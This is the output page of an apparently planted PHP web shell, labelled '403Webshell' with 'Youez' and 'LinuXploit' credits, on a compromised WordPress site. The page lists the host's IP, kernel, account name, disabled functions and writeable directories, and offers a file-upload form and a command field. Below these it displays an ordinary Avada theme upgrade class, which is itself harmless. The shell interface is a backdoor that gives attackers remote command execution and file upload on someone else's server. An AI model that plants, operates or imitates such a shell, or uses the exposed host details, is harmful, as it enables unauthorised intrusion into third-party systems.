403Webshell
Server IP : 77.39.210.126  /  Your IP : 216.73.216.203
Web Server : Apache
System : Linux v00l0v-vmpcnews.sphostserver.com 4.18.0-553.124.4.el8_10.x86_64 #1 SMP Fri May 15 04:14:14 EDT 2026 x86_64
User : artecasarepresti ( 1022)
PHP Version : 7.4.33
Disable Function : dl,passthru,proc_open,proc_close,proc_terminate,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/artecasarepresti/www/wp-content/themes/Avada/includes/upgrade/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/artecasarepresti/www/wp-content/themes/Avada/includes/upgrade/class-avada-upgrade-503.php
<?php
/**
 * Upgrades Handler.
 *
 * @author     ThemeFusion
 * @copyright  (c) Copyright by ThemeFusion
 * @link       https://theme-fusion.com
 * @package    Avada
 * @subpackage Core
 */

// Do not allow directly accessing this file.
if ( ! defined( 'ABSPATH' ) ) {
	exit( 'Direct script access denied.' );
}

/**
 * Handle migrations for Avada 4.0.3.
 *
 * @since 5.0.3
 */
class Avada_Upgrade_503 extends Avada_Upgrade_Abstract {

	/**
	 * The version.
	 *
	 * @access protected
	 * @since 5.0.3
	 * @var string
	 */
	protected $version = '5.0.3';

	/**
	 * The actual migration process.
	 *
	 * @access protected
	 * @since 5.0.3
	 */
	protected function migration_process() {

		$options = get_option( $this->option_name, [] );

		// Update the post title option.
		$portfolio_items = Avada()->settings->get( 'portfolio_items' );

		if ( '0' === $portfolio_items || 0 === $portfolio_items ) {
			$options['portfolio_items'] = '-1';
			update_option( $this->option_name, $options );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit